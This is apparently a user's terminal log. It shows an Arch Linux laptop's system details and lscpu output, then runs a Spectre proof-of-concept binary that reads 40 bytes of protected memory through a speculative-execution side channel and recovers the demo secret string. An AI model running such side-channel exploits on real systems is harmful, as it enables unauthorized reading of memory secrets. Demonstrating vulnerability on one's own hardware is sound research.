OS: Arch Linux
Kernel: x86_64 Linux 4.14.11-1-ARCH
Shell: zsh 5.4.2
CPU: Intel Core i5-2450M @ 4x 3.1GHz [57.0°C]
GPU: GeForce GT 630M
RAM: 1818MiB / 3857MiB

$ lscpu
Architecture:        x86_64
CPU op-mode(s):      32-bit, 64-bit
Byte Order:          Little Endian
CPU(s):              4
On-line CPU(s) list: 0-3
Thread(s) per core:  2
Core(s) per socket:  2
Socket(s):           1
NUMA node(s):        1
Vendor ID:           GenuineIntel
CPU family:          6
Model:               42
Model name:          Intel(R) Core(TM) i5-2450M CPU @ 2.50GHz
Stepping:            7
CPU MHz:             2494.219
CPU max MHz:         3100.0000
CPU min MHz:         800.0000
BogoMIPS:            4990.28
Virtualization:      VT-x
L1d cache:           32K
L1i cache:           32K
L2 cache:            256K
L3 cache:            3072K
NUMA node0 CPU(s):   0-3
Flags:               fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic popcnt tsc_deadline_timer aes xsave avx lahf_lm epb pti tpr_shadow vnmi flexpriority ept vpid xsaveopt dtherm ida arat pln pts

$ ./spectre-exploit
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfedc8... Success: 0x54=’T’ score=7 (second best: 0x00 score=3)
Reading at malicious_x = 0xffffffffffdfedc9... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfedca... Success: 0x65=’e’ score=29 (second best: 0x05 score=12)
Reading at malicious_x = 0xffffffffffdfedcb... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfedcc... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdfedcd... Success: 0x61=’a’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfedce... Success: 0x67=’g’ score=17 (second best: 0x00 score=4)
Reading at malicious_x = 0xffffffffffdfedcf... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfedd0... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdfedd1... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfedd2... Success: 0x57=’W’ score=11 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfedd3... Success: 0x6F=’o’ score=11 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfedd4... Success: 0x72=’r’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfedd5... Success: 0x64=’d’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfedd6... Success: 0x73=’s’ score=29 (second best: 0x00 score=14)
Reading at malicious_x = 0xffffffffffdfedd7... Success: 0x20=’ ’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfedd8... Success: 0x61=’a’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfedd9... Success: 0x72=’r’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfedda... Success: 0x65=’e’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfeddb... Success: 0x20=’ ’ score=19 (second best: 0x05 score=7)
Reading at malicious_x = 0xffffffffffdfeddc... Success: 0x53=’S’ score=7 (second best: 0x54 score=1)
Reading at malicious_x = 0xffffffffffdfeddd... Success: 0x71=’q’ score=2
Reading at malicious_x = 0xffffffffffdfedde... Success: 0x75=’u’ score=9
Reading at malicious_x = 0xffffffffffdfeddf... Success: 0x65=’e’ score=127 (second best: 0x00 score=63)
Reading at malicious_x = 0xffffffffffdfede0... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfede1... Success: 0x6D=’m’ score=2
Reading at malicious_x = 0xffffffffffdfede2... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfede3... Success: 0x73=’s’ score=221 (second best: 0x05 score=108)
Reading at malicious_x = 0xffffffffffdfede4... Success: 0x68=’h’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfede5... Success: 0x20=’ ’ score=87 (second best: 0x00 score=43)
Reading at malicious_x = 0xffffffffffdfede6... Success: 0x4F=’O’ score=17 (second best: 0x00 score=4)
Reading at malicious_x = 0xffffffffffdfede7... Success: 0x73=’s’ score=11 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfede8... Success: 0x73=’s’ score=177 (second best: 0x05 score=86)
Reading at malicious_x = 0xffffffffffdfede9... Success: 0x69=’i’ score=17 (second best: 0x05 score=6)
Reading at malicious_x = 0xffffffffffdfedea... Success: 0x66=’f’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfedeb... Success: 0x72=’r’ score=13 (second best: 0x05 score=4)
Reading at malicious_x = 0xffffffffffdfedec... Success: 0x61=’a’ score=15 (second best: 0x00 score=7)
Reading at malicious_x = 0xffffffffffdfeded... Success: 0x67=’g’ score=15 (second best: 0x05 score=5)
Reading at malicious_x = 0xffffffffffdfedee... Success: 0x65=’e’ score=37 (second best: 0x00 score=18)
Reading at malicious_x = 0xffffffffffdfedef... Success: 0x2E=’.’ score=19 (second best: 0x00 score=5)